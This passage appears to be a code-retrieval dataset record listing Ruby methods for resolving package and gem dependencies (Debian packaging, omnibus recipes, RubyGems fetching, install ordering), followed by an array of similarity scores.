/^ruby[0-9][0-9.]*/\n end\n\n # Prefer package of the OS for gems if they are available there\n #deps_nonnative_packages = deps[:nonnative].map do |name, version|\n non_native_dependencies = non_native_dependencies.map do |name, version|\n dep_name,is_osdep = native_dependency_name(name)\n # if with_rock_release_prefix is given all packages 'have to be'\n # os dependencies, otherwise it triggers further resolution of nonnative packages\n # which cannot exist (in resolve_all)\n if is_osdep || with_rock_release_prefix\n deps_osdeps_packages << dep_name\n nil\n else\n name\n end\n end.compact\n end\n\n deps_rock_packages = deps_rock_pkginfos.map do |pkginfo|\n debian_name = @packager.debian_name(pkginfo, with_rock_release_prefix)\n this_rock_release.packageReleaseName(debian_name)\n end.sort\n\n Packager.info \"'#{pkginfo.name}' with (available) rock package dependencies: '#{deps_rock_packages}'\"\n Packager.info \"'#{pkginfo.name}' with (available) osdeps dependencies: '#{deps_osdeps_packages}'\"\n\n # Return rock packages, osdeps and non native deps (here gems)\n {:rock => deps_rock_packages, :osdeps => deps_osdeps_packages, :nonnative => non_native_dependencies }\n end", "def depends_all\n pkg_depends = self.class.depends_all\n if self.class.omnibus_package\n self.class.omnibus_recipes.each { |omni_recipe|\n recipe_file = File.expand_path(omni_recipe + '.rb', File.dirname(filename))\n\n Book.instance.load_recipe(recipe_file, config) do |recipe|\n pkg_depends << recipe.depends_all\n end\n }\n end\n\n pkg_depends.flatten.uniq\n end", "def depends_all\n pkg_depends = self.class.depends_all\n if self.class.omnibus_package\n self.class.omnibus_recipes.each { |omni_recipe|\n recipe_file = File.expand_path(omni_recipe + '.rb', File.dirname(filename))\n\n Book.instance.load_recipe(recipe_file, config) do |recipe|\n pkg_depends << recipe.depends_all\n end\n }\n end\n\n pkg_depends.flatten.uniq\n end", "def dependencies(name)\n dependencies = []\n submodule = submodule(name)\n if submodule.has_key?(:dependencies)\n submodule[:dependencies].each do |dependency|\n dependencies << dependency\n dependencies << dependencies(dependency)\n end\n end\n\n dependencies.flatten.uniq.sort\n end", "def packages()\n\t\t\t\traise(PackageError, \"A full package list is not implemented on OpenBSD\")\n\t\t\tend", "def load_dependencies\r\n @local_gems.each do |gem_info|\r\n gem_file_name = gem_info.gem_file\r\n gem_name = installed_as_name_for( short_form_of_gem_name( gem_file_name ) )\r\n @required_gem_names.delete gem_file_name\r\n end\r\n @required_gem_paths.each do |gem_path|\r\n gem_short_name = short_form_of_gem_name gem_path\r\n if @required_gem_names.include? gem_short_name\r\n puts \"installing #{gem_path}\"\r\n installer = @force_require ? PreloadingInstaller.new( gem_path, @local_gems ) : Installer.new( gem_path )\r\n installer.install\r\n end\r\n end\r\n end", "def dependencies\n if @options[:dependencies]\n deps = [] << @options[:dependencies]\n deps.flatten.collect { |item|\n item = File.join(item,'**/*') if File.directory?(item)\n Dir.glob item\n }.flatten.uniq.collect { |item|\n File.directory?(item) ? nil : item\n }.compact\n else\n false\n end\n end", "def prerequisites(version)\n (prerequisite_names[version] || []).map { |package| packages[package] }\n end", "def differentiate(packages)\n named_groups = Hash.new{|h,k| h[k] = []}\n packages.each{|p| named_groups[p.name] << p }\n named_groups.each do |name, packages| \n if packages.length > 1\n packages.each{|p| p.name = \"#{p.name} (#{p.paths.first})\"} \n end\n end\n end", "def prefetch reqs\n return unless @remote\n names = reqs.map { |r| r.dependency.name }\n needed = names - @data.keys\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n loaded = []\n\n Marshal.load(str).each do |ver|\n name = ver[:name]\n\n @data[name] << ver\n loaded << name\n end\n\n (needed - loaded).each do |missing|\n @data[missing] = []\n end\n end", "def packages(order)\n units = Spree::ActiveShipping::Config[:units].to_sym\n packages = []\n weights = convert_order_to_weights_array(order)\n max_weight = get_max_weight(order)\n item_specific_packages = convert_order_to_item_packages_array(order)\n\n if max_weight <= 0\n packages << Package.new(weights.sum, [], :units => units)\n else\n package_weight = 0\n weights.each do |li_weight|\n if package_weight + li_weight <= max_weight\n package_weight += li_weight\n else\n packages << Package.new(package_weight, [], :units => units)\n package_weight = li_weight\n end\n end\n packages << Package.new(package_weight, [], :units => units) if package_weight > 0\n end\n\n item_specific_packages.each do |package|\n packages << Package.new(package.at(0), [package.at(1), package.at(2), package.at(3)], :units => :imperial)\n end\n\n packages\n end", "def run_package_for_specified(bundle_info)\n if $options[:buildAll]\n info 'Packaging all dependencies'\n\n $toPackageDeps = []\n\n all_dependencies.each do |dep|\n files = dep.getInstalledFiles\n\n $toPackageDeps.push dep.Name if files && !files.empty?\n end\n\n puts $toPackageDeps.to_s\n end\n\n package_dependencies $toPackageDeps, bundle_info\nend", "def ordered_by_deps(apps, processed = Set[])\n ordered = []\n apps.each do |tag, info|\n next if processed.include?(tag)\n\n if deps = Array(info[\"depends-on\"])\n dep_apps = {}\n deps.each do |dep|\n dep_apps[dep] = apps[dep]\n end\n\n processed.add(tag)\n\n ordered += ordered_by_deps(dep_apps, processed)\n ordered << info\n else\n ordered << info\n processed.add(tag)\n end\n end\n\n ordered.each { |app| app.delete(\"depends-on\") }\n\n ordered\n end", "def install_order(arr)\n max = 0\n vertices = {}\n arr.each do |tuple|\n #create the graph\n vertices[touple[0]] = Vertex.new(touple[0]) unless vertices[tuple[0]]\n vertices[tuple[1]] = Vertex.new(tuple[1]) unless vertices[tuple[1]]\n\n #reset max if needed\n max = tuple.max if tuple.max > max\n end\n\n #find the missing packages\n independent = []\n (1..max).each do |i|\n independent << i unless vertices[i]\n end\n #sort the vertices of the graph and add the missing packages\n independent + topolocical_sort(vertices.values).map { |v| v.value }\nend", "def default_requires\n PackageList.new\n end" ]
[ "0.6707646", "0.6639628", "0.66147226", "0.6594138", "0.65925306", "0.6562124", "0.65571946", "0.65217626", "0.64250165", "0.64008456", "0.6386885", "0.6386885", "0.6360871", "0.6334541", "0.62993336", "0.6253592", "0.6204971", "0.61883414", "0.6152005", "0.61326563", "0.6081544", "0.6079019", "0.6052641", "0.6034885", "0.6031622", "0.6016951", "0.59966916", "0.59888226", "0.5982578", "0.5951044", "0.58785224", "0.58751315", "0.58718723", "0.58616436", "0.58492786", "0.58282393", "0.58234185", "0.5819392", "0.5819247", "0.58125585", "0.5811547", "0.57901233", "0.57772505", "0.5744552", "0.5739461", "0.5739447", "0.57305413", "0.5722015", "0.5717155", "0.5716968", "0.57053965", "0.56964207", "0.5695884", "0.56934226", "0.5692487", "0.5679045", "0.56782645", "0.5662455", "0.5653072", "0.56208146", "0.56203604", "0.5614239", "0.559208", "0.55876935", "0.5577185", "0.5553801", "0.5548567", "0.55422217", "0.5541528", "0.5532162", "0.55302924", "0.5529859", "0.5520392", "0.5515872", "0.55142707", "0.55142707", "0.55129296", "0.55120766", "0.5502147", "0.5498171", "0.5496144", "0.54951555", "0.54926056", "0.549094", "0.5485309", "0.5484353", "0.5481077", "0.5481077", "0.54530686", "0.5450507", "0.54446685", "0.5444525", "0.5442569", "0.5424985", "0.541607", "0.53990066", "0.53970265", "0.53919905", "0.5386442", "0.5382266" ]
0.59888774
27
Get all required packages that come with a given selection of packages including the dependencies of ruby gems This requires the current installation to be complete since `gem dependency ` has been selected to provide the information of ruby dependencies
def all_required_packages(selection, with_rock_release_prefix = false) raise RuntimeError, "#{self.class} needs to overwrite all_required_packages" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_requirements\n result = `rake gems 2>&1`\n parse_required(result) + parse_missing(result) + parse_deps(result)\n end", "def gem_requirements\n @metadata[:requires].nil? ? [] :\n @metadata[:requires].select { |r| r.gem? }\n end", "def requires\n require_items.collect(&:package)\n end", "def dependencies\n version_req = if options[:version]\n ::Gem::Requirement.create(options[:version])\n else\n ::Gem::Requirement.default\n end\n if gem_dir\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n end\n deps = []\n ::Gem.source_index.each do |fullname, gemspec| \n if version_req.satisfied_by?(gemspec.version)\n deps << ::Gem::Dependency.new(gemspec.name, \"= #{gemspec.version}\")\n end\n end\n ::Gem.clear_paths if gem_dir\n deps.sort\n end", "def requires\n @requires ||= @dependencies.map { |e| make_path(e.split(RUBY_PKG_SEP)) }.sort.uniq\n end", "def find_dependencies(deps=nil, verbose=false)\n \n deps ||= all_dependencies\n\n search_list = Array(deps)\n found = []\n ret = []\n \n # if we discover a new local package via indirect dependencies then\n # it's dependencies will be fetchable one time.\n fetchable = Set.new\n \n until search_list.empty?\n name, version = search_list.shift\n\n if dup = found.find{|p| p.name == name}\n # already found, check for conflicts\n next if satisfied_by?(version, dup.version)\n raise PackageConflictError.new(name, dup.version, version)\n end\n\n pkg = locate_package(name, version, verbose)\n if pkg.nil? && fetchable.include?(name)\n fetchable.reject! { |x| x == name }\n core_fetch_dependency(name, version, :runtime, true) \n pkg = locate_package name, version, verbose\n end\n \n raise PackageNotFoundError.new(name, version) unless pkg\n\n found << pkg\n\n # Look up dependencies of dependencies\n new_deps = Array(pkg.dependencies) + Array(pkg.dependencies_build)\n if has_local_package? pkg.name\n new_deps += Array(pkg.dependencies_development)\n new_deps.each { |dep| fetchable.add dep.first }\n end\n \n search_list += new_deps\n\n ret << pkg\n end\n\n ret\n end", "def dependent_gems(check_dev=true)\n out = []\n Gem::Specification.each do |spec|\n deps = check_dev ? spec.dependencies : spec.runtime_dependencies\n deps.each do |dep|\n if self.satisfies_requirement?(dep)\n sats = []\n find_all_satisfiers(dep) do |sat|\n sats << sat\n end\n out << [spec, dep, sats]\n end\n end\n end\n out\n end", "def required_gem_list\n Mack::Utils::GemManager.instance.required_gem_list\n end", "def core_fetch_dependencies(deps, verbose)\n deps.each do |pkg_name, pkg_version|\n core_fetch_dependency pkg_name, pkg_version, :runtime, verbose\n end\n end", "def deps(pkg) # FIXME: \"*** PACKAGE MAY NOT BE DELETED *** \"\n if pkg.status != :available\n components = `#{@cmd} -n #{pkg.name}`.split(\"Requires:\\n\")\n if components.size > 1\n return components[1].strip\n else\n return \"[No depends]\"\n end\n else\n if File.exist?(File.expand_path(\"~/Library/Application Support/Guigna/pkgsrc/INDEX\"))\n # TODO: parse INDEX\n end\n \"[Not available]\"\n end\n end", "def getdeps(pkg)\n deps = []\n @pkg.each {|k, v| deps << k if v.include?(pkg) }\n\n return deps\n end", "def gem_build_requirements\n @metadata[:build_requires].nil? ? [] :\n @metadata[:build_requires].select { |r| r.gem? }\n end", "def requires\n req_str = StringIO.new\n # get ruby dependency\n req_str << \"ruby #{@spec.required_ruby_version || \">= 0\" }\"\n # get rubygems dependency\n req_str << \", rubygems #{@spec.required_rubygems_version}\" unless @spec.required_rubygems_version.nil?\n # get runtime dependencies\n req_str << \", #{@spec.runtime_dependencies.join(', ').gsub(', runtime', '').gsub(')', '').gsub('(', '').gsub('~>', '>=')}\" unless @spec.runtime_dependencies.empty?\n # return string with dependencies\n return req_str.string\n end", "def packages_from_require(rpmdep)\n refresh\n @rpmdb.whatprovides(rpmdep)\n end", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def find_dependencies(env)\n args = [] if (env = env.dup).sub!(REGEXP_DEVPKG,'') # are we in compile mode?\n return [[], [], args] if args && env.empty?\n\n require 'rubygems/remote_fetcher'\n @@deps = YAML.load(fetch(env))['gems'] unless defined?(@@deps)\n @@deps.key?(spec.name) or return(args ? [[], [], args] : nil)\n\n # find dependencies\n case deps = @@deps[spec.name]\n when nil, \"*\" # for nil or '*', use the default extension name\n deps = [\"*\"]\n when String # string of space-delimited packages and extensions\n when Array # array of packages and extensions\n when Hash # hash of packages and extensions, indexed by version requirements\n reqs, deps = deps.find do |reqs, info| # deps is an array or space-delimited string\n Gem::Requirement.new(reqs.split(',')).satisfied_by?(spec.version)\n end\n reqs or return # can't find the right version\n deps ||= [\"*\"] # deps are nil, use the default extension name\n end\n deps = deps.strip.split(/\\s+/) if deps.is_a?(String)\n deps = deps.compact.uniq\n\n # helpful variables\n bcwd = Dir.pwd\n benv = File.dirname(env.split(/[?;#]/,2).first)\n name = \"#{spec.full_name}.tar.gz\"\n\n # grok dependencies\n pkgs, exts = [], []\n deps.each do |item|\n if item.include?(\"*\") || item =~ REGEXP_SCHEMA || item.include?(\".tar.gz\")\n exts << item unless args\n elsif item =~ REGEXP_DEVPKG\n pkgs << $' if args\n elsif item =~ REGEXP_DEVARG\n args << $' if args\n else\n pkgs << item unless args\n end\n end\n exts.map! do |item|\n case item\n when \"*\" then item = File.join(benv, name) # use complete default tarball name\n when /\\A\\*/ then item[0,1] = benv # path relative to env variable\n when /\\A[^\\/]/ then item[0,0] = bcwd + \"/\" # path relative to current directory\n end\n item.gsub(\"*\", name) # swap inline wildcards with default tarball name\n end\n [pkgs, exts, args]\n end", "def relevant_packages\n packages.select { |p| p['version'] == version }\n end", "def gem_dependencies(rubygem)\n (latest = latest_gemspec(rubygem)) ?\n latest.dependencies.select {|e| e.type == :runtime }.map {|e| e.name} : []\n end", "def requirements_for_gem(gem_name)\n @metadata[:requires].nil? ? [] :\n @metadata[:requires].select { |r| r.gem_name == gem_name }\n end", "def find_all(req)\n res = []\n\n dep = req.dependency\n\n return res if @ignore_dependencies and\n @always_install.none? {|spec| dep.match? spec }\n\n name = dep.name\n\n dep.matching_specs.each do |gemspec|\n next if @always_install.any? {|spec| spec.name == gemspec.name }\n\n res << Gem::Resolver::InstalledSpecification.new(self, gemspec)\n end unless @ignore_installed\n\n if consider_local?\n matching_local = @local.values.select do |spec, _|\n req.match? spec\n end.map do |spec, source|\n Gem::Resolver::LocalSpecification.new self, spec, source\n end\n\n res.concat matching_local\n\n begin\n if local_spec = @local_source.find_gem(name, dep.requirement)\n res << Gem::Resolver::IndexSpecification.new(\n self, local_spec.name, local_spec.version,\n @local_source, local_spec.platform)\n end\n rescue Gem::Package::FormatError\n # ignore\n end\n end\n\n res.delete_if do |spec|\n spec.version.prerelease? and not dep.prerelease?\n end\n\n res.concat @remote_set.find_all req if consider_remote?\n\n res\n end", "def depend_upon(match_name) #, constraint)\n list = []\n each do |name, libs|\n case libs\n when Library\n list << libs if libs.requirements.any?{ |r| match_name == r['name'] } \n else\n libs.each do |lib|\n list << lib if lib.requirements.any?{ |r| match_name == r['name'] } \n end\n end\n end\n list\n end", "def resolve_dependencies(dependencies)\n dependencies.inject([]) do |deps, dep|\n deps + dep.determine(:ubuntu, :precise).map do |pkg, version|\n !version.nil? ? \"#{pkg} (#{version})\" : pkg\n end\n end.join(', ')\n end", "def dependencies(pkg)\n pkg.resolve_optional_dependencies\n deps_rock_packages = pkg.dependencies.map do |pkg_name|\n debian_name(Autoproj.manifest.package(pkg_name).autobuild)\n end.sort\n\n pkg_osdeps = Autoproj.osdeps.resolve_os_dependencies(pkg.os_packages)\n # There are limitations regarding handling packages with native dependencies\n #\n # Currently gems need to converted into debs using gem2deb\n # These deps dependencies are updated here before uploading a package\n # \n # Generation of the debian packages from the gems can be done in postprocessing step\n # i.e. see convert_gems\n \n deps_osdeps_packages = []\n native_package_manager = Autoproj.osdeps.os_package_handler\n _, native_pkg_list = pkg_osdeps.find { |handler, _| handler == native_package_manager }\n\n deps_osdeps_packages += native_pkg_list if native_pkg_list\n\n # Update global list\n @osdeps += deps_osdeps_packages\n\n non_native_handlers = pkg_osdeps.collect do |handler, pkg_list|\n if handler != native_package_manager\n [handler, pkg_list]\n end\n end.compact\n\n non_native_handlers.each do |pkg_handler, pkg_list|\n # Convert native ruby gems package names to rock-xxx \n if pkg_handler.kind_of?(Autoproj::PackageManagers::GemManager)\n pkg_list.each do |name,version|\n @ruby_gems << [name,version]\n deps_osdeps_packages << debian_ruby_name(name)\n end\n else\n raise ArgumentError, \"cannot package #{pkg.name} as it has non-native dependencies (#{pkg_list}) -- #{pkg_handler.class} #{pkg_handler}\"\n end\n end\n\n # Remove duplicates\n @osdeps.uniq!\n @ruby_gems.uniq!\n\n # Return rock packages and osdeps\n [deps_rock_packages, deps_osdeps_packages]\n end", "def gem_dependencies(list, gem_dependencies, options = {})\n gem_dependencies.each do |gd|\n if options['excludes'] && options['excludes'].to_s.split(',').include?(gd.name)\n next\n end\n\n gs = gd.matching_specs.first\n if gs\n unless list[gs.name]\n list[gs.name] = gs\n unless gs.dependencies.empty?\n list = gem_dependencies(list, gs.dependencies, options)\n end\n end\n else\n unless list[gd.name]\n list[gd.name] = Gem::Specification.new(\n gd.name,\n gd.requirements_list.last.scan(/[\\d\\.\\w]+/).first\n )\n rm_dep = remote_dependencies(gd.name, gd.requirements_list.last)\n unless rm_dep.empty?\n list = gem_dependencies(list, rm_dep, options)\n end\n end\n end\n end\n\n list\n end", "def find_all_satisfiers(dep)\n Gem::Specification.each do |spec|\n yield spec if spec.satisfies_requirement? dep\n end\n end", "def packages\n # don't include go std packages\n # don't include packages under the root project that aren't vendored\n go_list_deps\n .reject { |pkg| go_std_package?(pkg) }\n .reject { |pkg| local_package?(pkg) }\n end", "def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend", "def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend", "def install_gems\n puts \"[Checking for missing required gems]\"\n while (gemspecs = get_requirements).any?\n gemspecs.each do |gemspec|\n install_gem(gemspec)\n end\n end\n end", "def development_dependencies\n Gem::Specification.load(gemspec_path.to_s).development_dependencies\n end", "def pdns_package_module_requirements\n modules = node['pdns']['authoritative']['package']['backends']\n required_packages = []\n modules.each do |mod|\n case mod\n when 'gmysql'\n required_packages << 'pdns-backend-mysql'\n when 'gpgsql'\n required_packages << 'pdns-backend-pgsql'\n when 'gsqlite3'\n required_packages << 'pdns-backend-sqlite3'\n required_packages << 'sqlite3'\n when 'pipe'\n required_packages << 'pdns-backend-pipe'\n end\n end\n required_packages\nend", "def depends_upon(match_name) #, constraint)\n list = []\n $LEDGER.each do |name, libs|\n case libs\n when Library\n list << libs if libs.requirements.any?{ |r| match_name == r['name'] } \n else\n libs.each do |lib|\n list << lib if lib.requirements.any?{ |r| match_name == r['name'] } \n end\n end\n end\n list\n end", "def parse_deps(input)\n matches = input.scan(/\\s+-\\s+\\[ \\]\\s+(\\S+)\\s+(\\S+\\s+[0-9.]+)/) || []\n\n gemspecs = matches.map do |match|\n {:name => match[0], :version => match[1]}\n end\n\n # NOTE: These gemspecs are gems that are not yet loaded. We don't know if\n # they are installed or not, so we don't know for sure if the\n # dependency will be met at runtime. So, we'll execute a gem command\n # to check to see if these are installed and ignore the ones that\n # already are.\n gemspecs.delete_if do |gemspec|\n cmd = \"gem list #{gemspec[:name]} -i -l\"\n if gemspec[:version]\n cmd << \" -v '#{gemspec[:version]}'\"\n end\n `#{cmd}` =~ /true/\n end\n\n return gemspecs\n end", "def forced_packages_missing_candidates\n @forced_packages_missing_candidates ||=\n begin\n missing = []\n each_package do |package_name, new_version, current_version, candidate_version, magic_version|\n next if new_version.nil? || current_version.nil?\n\n if use_magic_version?\n if !magic_version && candidate_version.nil?\n missing.push(package_name)\n end\n else\n if !version_requirement_satisfied?(current_version, new_version) && candidate_version.nil?\n missing.push(package_name)\n end\n end\n end\n missing\n end\n end", "def resolve_packages\n installation_manifest =\n Autoproj::InstallationManifest.from_workspace_root(ws.root_dir)\n installation_manifest.each_package.to_a +\n installation_manifest.each_package_set.to_a\n end", "def packages_missing_candidates\n @packages_missing_candidates ||=\n begin\n missing = []\n each_package do |package_name, new_version, current_version, candidate_version, magic_version|\n missing.push(package_name) if magic_version.nil? && candidate_version.nil?\n end\n missing\n end\n end", "def load_dependencies\r\n @local_gems.each do |gem_info|\r\n gem_file_name = gem_info.gem_file\r\n gem_name = installed_as_name_for( short_form_of_gem_name( gem_file_name ) )\r\n @required_gem_names.delete gem_file_name\r\n end\r\n @required_gem_paths.each do |gem_path|\r\n gem_short_name = short_form_of_gem_name gem_path\r\n if @required_gem_names.include? gem_short_name\r\n puts \"installing #{gem_path}\"\r\n installer = @force_require ? PreloadingInstaller.new( gem_path, @local_gems ) : Installer.new( gem_path )\r\n installer.install\r\n end\r\n end\r\n end", "def fetch_dependencies()\n\t\"berks vendor cookbooks #{(@debug ? '-v' : '-q')}\"\n end", "def find_packages\n declared_packages.collect do |package|\n guess = ::Albacore::PackageRepo.new(%w|./packages ./src/packages|).find_latest package.id\n debug \"#{name}: guess: #{guess} [albacore: project]\"\n guess\n end\n end", "def non_gem_requirements\n @metadata[:requires].nil? ? [] :\n @metadata[:requires].select { |r| !r.gem? }\n end", "def gem_requirements_to_array(*deps)\n deps.map do |dep|\n dep.requirement.requirements.map do |op, version|\n \"#{op} #{version}\"\n end.sort\n end\n end", "def depends_all\n pkg_depends = self.class.depends_all\n if self.class.omnibus_package\n self.class.omnibus_recipes.each { |omni_recipe|\n recipe_file = File.expand_path(omni_recipe + '.rb', File.dirname(filename))\n\n Book.instance.load_recipe(recipe_file, config) do |recipe|\n pkg_depends << recipe.depends_all\n end\n }\n end\n\n pkg_depends.flatten.uniq\n end", "def depends_all\n pkg_depends = self.class.depends_all\n if self.class.omnibus_package\n self.class.omnibus_recipes.each { |omni_recipe|\n recipe_file = File.expand_path(omni_recipe + '.rb', File.dirname(filename))\n\n Book.instance.load_recipe(recipe_file, config) do |recipe|\n pkg_depends << recipe.depends_all\n end\n }\n end\n\n pkg_depends.flatten.uniq\n end", "def find_dependencies\n\t\tunless GEMDEPS_FILE.readable?\n\t\t\tself.prompt.warn \"Deps file (%s) is missing or unreadable, assuming no dependencies.\" %\n\t\t\t\t[ GEMDEPS_FILE ]\n\t\t\treturn []\n\t\tend\n\n\t\tfinder = Rake::DevEiate::GemDepFinder.new( GEMDEPS_FILE )\n\t\tfinder.load\n\t\treturn finder.dependencies\n\tend", "def installed_versions(name, requirement)\n if gem_installed?(name, requirement)\n Chef::Log.info \"Gem #{name} (#{requirement}) found in OpsWorks user space.\"\n # from rubygems/specification.rb#find_all_by_name\n Gem::Dependency.new(name, requirement).matching_specs\n else\n Chef::Log.debug \"Gem #{name} (#{requirement}) not found in OpsWorks user space.\"\n []\n end\n end", "def version_required(gem_def)\n return Gem::Dependency.instance_methods.map(&:to_sym).include?(:requirement) ? gem_def.requirement : gem_def.version_requirements\nend", "def dependencies(path)\r\n deps = []\r\n open(path) do |file|\r\n deps = file.read.scan(/ [^\\s|\\\\]+/).collect { |s| s.strip }\r\n end\r\n deps.reject!{|s| s.include?(\"/opt\") || s.include?(\"/usr\") || s.include?(\"include/boost\")}\r\n deps\r\nend", "def build_dependencies(pkginfo)\n dependencies = []\n pkgdeps = pkginfo.dependencies\n deps = pkgdeps[:rock_pkginfo].select do |pkginfo|\n pkg_name = debian_name(pkginfo, true)\n !rock_release_platform.ancestorContains(pkg_name)\n end .map { |p| p.name }\n\n gems = pkgdeps[:nonnative].select do |gem,version|\n pkg_ruby_name = debian_ruby_name(gem, false)\n pkg_prefixed_name = debian_ruby_name(gem, true)\n\n !( rock_release_platform.ancestorContains(gem) ||\n rock_release_platform.ancestorContains(pkg_ruby_name) ||\n rock_release_platform.ancestorContains(pkg_prefixed_name))\n end .map{ |p| p[0] }\n\n deps.concat(gems)\n deps\n end", "def requires(database)\n fail \"Extension #{name} not (yet) installed\" unless installed?(database)\n\n stmt = if version\n <<-SQL\n SELECT unnest(requires) as name FROM\n ( SELECT requires FROM pg_available_extension_versions where name='#{name}' AND version ='#{version}') t\n SQL\n else\n <<-SQL\n SELECT unnest(requires) as name FROM\n (SELECT requires FROM\n pg_available_extensions a\n JOIN pg_available_extension_versions v ON v.name = a.name AND a.default_version = v.version\n WHERE v.name = '#{name}')t\n SQL\n end\n\n result = database.execute(stmt).to_a\n\n requires = result.map{|r| r['name']}\n end", "def build_requirements_for_gem(gem_name)\n @metadata[:build_requires].nil? ? [] :\n @metadata[:build_requires].select { |r| r.gem_name == gem_name }\n end", "def compute_revdeps\n result = Hash.new { |h, k| h[k] = Set.new }\n each_autobuild_package do |pkg|\n pkg.dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.optional_dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.os_packages.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n end\n result\n end", "def requires\n sort!\n sources.map {|s| s.requires }.flatten - provides\n end", "def installed_gems\n gems = []\n\n cmd = [attributes.gem_binary, 'list', '-l']\n cmd << '--prerelease' if attributes.prerelease\n\n run_command(cmd).stdout.each_line do |line|\n next unless /\\A([^ ]+) \\(([^\\)]+)\\)\\z/ =~ line.strip\n\n name = $1\n versions = $2.split(', ')\n gems << { name: name, versions: versions }\n end\n gems\n rescue Backend::CommandExecutionError\n []\n end", "def recursive_dependencies(pkginfo)\n\n all_required_pkginfos = pkginfo.required_rock_packages\n\n all_recursive_deps = {:rock => [], :osdeps => [], :nonnative => [], :extra_gems => []}\n all_required_pkginfos.each do |pkginfo|\n pdep = filtered_dependencies(pkginfo)\n pdep.keys.each do |k|\n all_recursive_deps[k].concat pdep[k]\n end\n end\n all_recursive_deps.each_value { |a| a.uniq! }\n\n if !all_recursive_deps[:nonnative].empty?\n all_recursive_deps[:nonnative] = GemDependencies::resolve_all(all_recursive_deps[:nonnative]).keys\n end\n recursive_deps = all_recursive_deps.values.flatten.uniq\n end", "def bundler_dependencies_for(bundler_runtime, *groups); end", "def pythons\n deps.map(&:to_formula)\n .select { |f| f.name.match?(/^python@\\d\\.\\d+$/) }\n .sort_by(&:version)\n .map { |f| f.opt_libexec/\"bin/python\" }\n end", "def dependencies\n @dependencies ||= ElmPackage.dependencies 'elm-package.json',\n silent: false\n end", "def find_all req\n res = []\n\n versions(req.name).each do |ver|\n if req.dependency.match? req.name, ver[:number]\n res << Gem::DependencyResolver::APISpecification.new(self, ver)\n end\n end\n\n res\n end", "def dep_check\n $gems_required.each do |current_gem|\n begin\n if current_gem.include? \",\"\n tokens = current_gem.split(\",\")\n gem tokens[0], tokens[1]\n else\n gem current_gem\n end\n rescue Gem::LoadError\n if current_gem.include? \",\"\n $gems_missing_version << current_gem\n else\n $gems_missing << current_gem\n end\n end\n end\n if $gems_missing.length == 0 && $gems_missing_version.length == 0\n return true\n else\n return false\n end\nend", "def check_all_packages\n packages_not_installed = []\n Constants::PACKAGES.each do |pkg|\n string = \"Looking for package #{pkg}...\"\n installed = check_package(pkg)\n installed ? string << green(\"Found\") : string << red(\"Not Found\")\n log_print string\n if !installed\n #if not installed append package name to packages_not_installed list\n packages_not_installed << pkg\n end #if\n end #do\n \n packages_not_installed\n end", "def dependencies( *args )\n names = args # note: for now assume all args are just names\n # e.g. 'pluto-models', 'pluto-update', etc.\n deps = @versions.select do |rec| names.include?( rec[0] ) end\n .map do |rec| [rec[0], rec[1]] end\n\n ## todo/fix: throw exception if dependency is missing!\n ## names.size == deps.size\n puts \"names.size == deps.size #{names.size} == #{deps.size}\"\n deps\n end", "def packages\n packages = []\n @repositories.each do |repo|\n repo_packages = repo.packages\n repo_packages.map { |p| packages.push(p) } unless repo_packages.empty?\n end\n packages\n end", "def default_requires\n PackageList.new\n end", "def non_gem_build_requirements\n @metadata[:build_requires].nil? ? [] :\n @metadata[:build_requires].select { |r| !r.gem? }\n end", "def install_dependencies\n\t\tself.prompt.say \"Installing dependencies\"\n\t\truby '-S', 'gem', 'i', '-Ng'\n\tend", "def required_gems\n relative_gem_root = Pathname(gem_root).relative_path_from(Pathname(dir))\n [\n \"gem 'react_on_rails', path: '#{relative_gem_root}'\",\n \"gem 'shakapacker'\"\n ]\n end", "def installed_packages()\n\t\t\t\tpackages = PackageList.new()\n\t\t\t\tpackageregex = /^([^ ]+)-([^- ]+)\\s+(.*)$/\n\n\t\t\t\tinstalledpackageslist = `/usr/sbin/pkg_info`\n\t\t\t\tinstalledpackageslist.each_line() { |line|\n\t\t\t\t\tline.strip!()\n\t\t\t\t\tmatch = packageregex.match(line)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tname = match[1]\n\t\t\t\t\t\tversion = match[2]\n\t\t\t\t\t\tdescription = match[3]\n\n\t\t\t\t\t\tpackages[name] = PackageInfo.new()\n\t\t\t\t\t\tpackages[name].name = name\n\t\t\t\t\t\tpackages[name].version = version\n\t\t\t\t\t\tpackages[name].description = description\n\t\t\t\t\tend\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend", "def required_dependencies\n dependencies - optional_dependencies\n end", "def find_gems(match, options={})\n return [] unless defined?(::Gem)\n ::Gem.search(match)\n end", "def prefetch reqs\n names = reqs.map { 